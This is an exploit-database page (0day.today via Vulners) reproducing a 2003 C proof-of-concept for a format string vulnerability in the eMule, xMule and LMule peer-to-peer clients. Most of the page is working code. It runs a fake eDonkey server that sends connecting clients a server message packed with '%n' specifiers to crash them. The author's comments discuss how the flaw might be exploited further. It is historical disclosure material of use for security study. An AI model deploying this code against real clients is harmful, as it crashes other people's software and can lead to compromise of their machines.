Lucene search
K

eMule/xMule/LMule OP_SERVERMESSAGE Format String Exploit

🗓️ 01 Sep 2003 00:00:00Reported by R?mi Denis-CourmontType 
zdt
 zdt
🔗 0day.today👁 19 Views

eMule, xMule, and LMule have a format string vulnerability in OP_SERVERMESSAGE, affecting several versions.

Code
========================================================
eMule/xMule/LMule OP_SERVERMESSAGE Format String Exploit
========================================================

/*
 * eMule/xMule/LMule OP_SERVERMESSAGE Format String Vulnerability
 * (SecurityFocus BID 8443)
 * proof of concept code
 * version 1.0 (Aug 29 2003)
 *
 * by R?mi Denis-Courmont
 *
 * This vulnerability was found by:
 *   Stefan Esser <[email protected]>
 * whose original advisory may be fetched from:
 *   http://security.e-matters.de/advisories/022003.html
 *
 * Vulnerable:
 *  - eMule v0.29c -> wait for server connection timeout (!?! I need help !?!)
 *  - xMule stable v1.4.3 -> crash
 *  - xMule unstable v1.5.6a -> crash
 *  - Lmule v1.3.1 (NOT tested) -> ???
 *
 *   There is something wrong with eMule 0.29c (exception handling) and it
 * refuses to crash.
 *
 * Not vulnerable:
 *  - xMule stable v1.6.0,
 *  - eMule v0.30a.
 *
 *   As a format string vulnerability over a possibly large format input
 * buffer, experienced assembly coders (ie. NOT me) should be able to exploit
 * this vulnerability (you can find as much as 2 mega-bytes available in the
 * stack in the socket input buffer, and the message is also duplicated on
 * the heap and can be as long as 65535 bytes). However, getting clients to
 * connect to while not impossible, will be very very hard: Even though many
 * clients adds current server of other clients to their own server lists, so
 * that you can promote yourself as a server by actively connecting to others,
 * it is unlikely that your "server" will be selected from the list which
 * often exceeds 100 entries.
 *   Anyway, the following proof-of-concept is entirely passive, so you will
 * probably only be able to test it against yourself (which is very fine,
 * because you usually are you only legal victim).
 */


/*****************************************************************************
 * Copyright (C) 2003  R?mi Denis-Courmont.  All rights reserved.            *
 *                                                                           *
 * Redistribution and use in source and binary forms, with or without        *
 * modification, are permitted provided that the following conditions        *
 * are met:                                                                  *
 * 1. Redistributions of source code must retain the above copyright         *
 *    notice, this list of conditions and the following disclaimer.          *
 * 2. Redistributions in binary form must reproduce the above copyright      *
 *    notice, this list of conditions and the following disclaimer in the    *
 *    documentation and/or other materials provided with the distribution.   *
 *                                                                           *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      *
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES *
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   *
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          *
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  *
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     *
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       *
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  *
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         *
 *****************************************************************************/

#include <stdio.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netdb.h>

int gai_errno = 0;

void
gai_perror (const char *str)
{
	if ((gai_errno == EAI_SYSTEM) || (gai_errno == 0))
		perror (str);
	else
		fprintf (stderr, "%s: %s\n", str, gai_strerror (gai_errno));
}


int
socket_listen (const char *hostname, const char *servname)
{
	struct addrinfo hints, *res;

	hints.ai_family = PF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = 0;
	hints.ai_flags = AI_PASSIVE;

	if ((gai_errno = getaddrinfo (hostname, servname, &hints, &res)) == 0)
	{
		struct addrinfo *ptr;

		for (ptr = res; ptr != NULL; ptr = ptr->ai_next)
		{
			int sock;

			sock = socket (ptr->ai_family, ptr->ai_socktype,
					ptr->ai_protocol);
			if (sock != -1)
			{
				const int val = 1;

				setsockopt (sock, SOL_SOCKET, SO_REUSEADDR,
						&val, sizeof (val));
				if (bind (sock, ptr->ai_addr, ptr->ai_addrlen)
				 || listen (sock, INT_MAX))
					close (sock);
				else
				{
					/* success! */
					freeaddrinfo (res);
					return sock;
				}
			}
		}
		freeaddrinfo (res);
	}
	return -1;
}


int
send_server_message (int fd/*, const char *message*/)
{
	/*
	 * Note that eDonkey is an Intel-centric protocol that sends/receives
	 * everything in counter-network-byte order (ie. low order first).
	 */
	uint8_t buf[] =
		"\xE3" // protocol
		"\x70\x01\x00\x00" // packet size
		"\x38" // command (Server message)
		"\x6D\x01" // message length (xMule ingores it, eMule reads it)
		"%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
		"Welcome to messmule, a proof-of-concept for:\n"
		"eMule/xMule/Lmule OP_SERVERMESSAGE\n"
		"Format String Vulnerability\n"
		"%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
		"If you can read this message from your Server info box,\n"
		"your client is probably not affected by that vulnerability.\n"
		"%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n\n"
		;

	return (send (fd, buf, sizeof (buf) - 1, 0) != (sizeof (buf) - 1));
}


static int
usage (const char *path)
{
	printf (
"Syntax: %s [port [hostname|IP]]\n"
"        Attempt to crash eMule/xMule/LMule clients which will connect to\n"
"        the specified server port (or 4661 by default), at the local\n"
"        host address (or any available address by default)\n", path);

	return 2;
}


int
main (int argc, char *argv[])
{
	puts ("eMule/xMule/LMule OP_SERVERMESSAGE "
			"Format String Vulnerabilitytion Vulnerability\n"
		"proof of concept code\n"
		"Copyright (C) 2003 R?mi Denis-Courmont "
			"<[email protected]>\n");
	if (argc > 3)
		return usage (argv[0]);
	else
	{
		int listenfd;
		const char *host, *port;

		port = (argc < 2) ? "4661" : argv[2];
		host = (argc < 3) ? NULL : argv[3];
		printf ("Binding to [%s]:%s ...\n",
			(host != NULL) ? host : "any", port);
		listenfd = socket_listen (host, port);
		if (listenfd == -1)
		{
			gai_perror (host);
			return 1;
		}

		while (1)
		{
			int clientfd;

			fputs ("Waiting for a client to connect ... ", stdout);
			clientfd = accept (listenfd, NULL, 0);
			if (clientfd == -1)
			{
				puts ("");
				perror ("Error");
				continue;
			}
			puts ("OK");
			fputs ("Sending server message ... ", stdout);
			if (send_server_message (clientfd))
			{
				puts ("");
				perror ("Error");
			}
			else
				puts ("Done");
			close (clientfd);
		}
	}

	return 0; /* dead code */
}


 

#  0day.today [2018-04-14]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation